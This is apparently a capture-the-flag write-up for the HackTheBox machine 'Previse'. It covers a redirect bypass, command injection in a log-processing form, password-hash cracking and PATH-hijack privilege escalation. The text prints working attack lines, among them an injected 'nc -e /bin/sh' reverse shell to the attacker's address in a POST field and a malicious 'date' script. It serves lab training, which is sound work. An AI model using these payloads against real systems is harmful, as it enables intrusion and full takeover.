Previse - [HTB]
Table of Contents
Introduction
Previse is an easy linux machine from HackTheBox where the attacker will have to intercept web server responses in order to create an administration account, allowing to download a web service backup file. Later will have to analyse the web application finding a path for an RCE. Then, will have to crack the credentials stored in a mysql database so you can obtain the root flag. Finally, the attacker will have to use the path hijacking technique in order to become root.
This machine has an unintended way through SQLi so you do not need RCE. If you want to see how is done check xavilok's post.
Enumeration
As always let's start scanning all opened ports in the box witth nmap.
kali@kali:~/Documents/HTB/Previse$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.12s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/Previse$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nmap done at Sat Aug 7 17:51:13 2021 -- 1 IP address (1 host up) scanned in 11.98 seconds
Trying to access to port 80 the web service always redirect us to login.php
.
Using gobuster we can obtain the following files, that if trying to access them redirect us again to login.php
.
kali@kali:~/Documents/HTB/Previse$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o gobuster.txt -u http://10.10.11.104
/files.php (Status: 302) [Size: 4914] [--> login.php]
/header.php (Status: 200) [Size: 980]
/nav.php (Status: 200) [Size: 1248]
/footer.php (Status: 200) [Size: 217]
/css (Status: 301) [Size: 314] [--> http://10.10.11.104/css/]
/status.php (Status: 302) [Size: 2966] [--> login.php]
/js (Status: 301) [Size: 313] [--> http://10.10.11.104/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/accounts.php (Status: 302) [Size: 3994] [--> login.php]
/config.php (Status: 200) [Size: 0]
/logs.php (Status: 302) [Size: 0] [--> login.php]
Exploitation 1
However, trying to access to accounts.php
we can intercept the server's response with BurpSuite (Right click request / Do intercept / Response to this request), observing the existance of the Location
header responsible for always rederecting us to login.php
.
HTTP/1.1 302 Found
Date: Sun, 08 Aug 2021 10:52:01 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php <====
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
Removing the header and forwarding the request we can see the contents of accounts.php
, allowing us to create an administrator account.
Now, we can access to files.php
where we can obtain a file named SITEBACKUP.ZIP
.
Once downloaded, extracted and analysed the web contents. At config.php
we can obtain the mysql credentials.
kali@kali:~/Documents/HTB/Previse/Site$ unzip siteBackup.zip
kali@kali:~/Documents/HTB/Previse/Site$ cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Inside the file logs.php
we can see that its executing a python script passing as a parameter the contents of the post form from file_logs.php
.
kali@kali:~/Documents/HTB/Previse/Site$ cat logs.php
[...]
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
Exploitation 2
Intercepting the post request we can add the following command, obtaining a reverse shell as www-data
.
POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.11.104/files.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Cookie: PHPSESSID=s4of7acn3lb7dvuv3h3fio97eh
Upgrade-Insecure-Requests: 1
delim=comma; nc -e /bin/sh 10.10.14.52 4444
Privilege escalation 1
Because we have the mysql credentials we can obtain the registered users from the web page.
www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' -e "use previse; select username, password from accounts;"
< previse; select username, password from accounts;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------+------------------------------------+
| username | password |
+----------+------------------------------------+
| m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| Marmeus | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// |
+----------+------------------------------------+
In order to decrytpt the password we can use hashcat.
kali@kali:~/Documents/HTB/Previse$ cat hash.txt
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
kali@kali:HTB/Previse$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
The credentials can be used to access to the machine as m4lwhere, obtaining the user flag.
kali@kali:~/Documents/HTB/Previse$ ssh m4lwhere@10.10.11.104
The authenticity of host '10.10.11.104 (10.10.11.104)' can't be established.
ECDSA key fingerprint is SHA256:rr7ooHUgwdLomHhLfZXMaTHltfiWVR7FJAe2R7Yp5LQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.104' (ECDSA) to the list of known hosts.
m4lwhere@10.10.11.104's password: ilovecody112235!
m4lwhere@previse:~$ cat user.txt
[CENSORED]
Privilege escalation 2
We can execute as sudo the script access_backup.sh.
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
As you can see above, the command date
doesn’t have a hard path.
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Hence, we can modify our PATH
variable and create our own file named date
contining our code obtaining a shell as root.
m4lwhere@previse:/tmp$ echo -e "nc -e /bin/sh 10.10.14.52 4444" > date
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
kali@kali:~/Documents/HTB/Previse/Site$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.11.104] 39420
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
[CENSORED]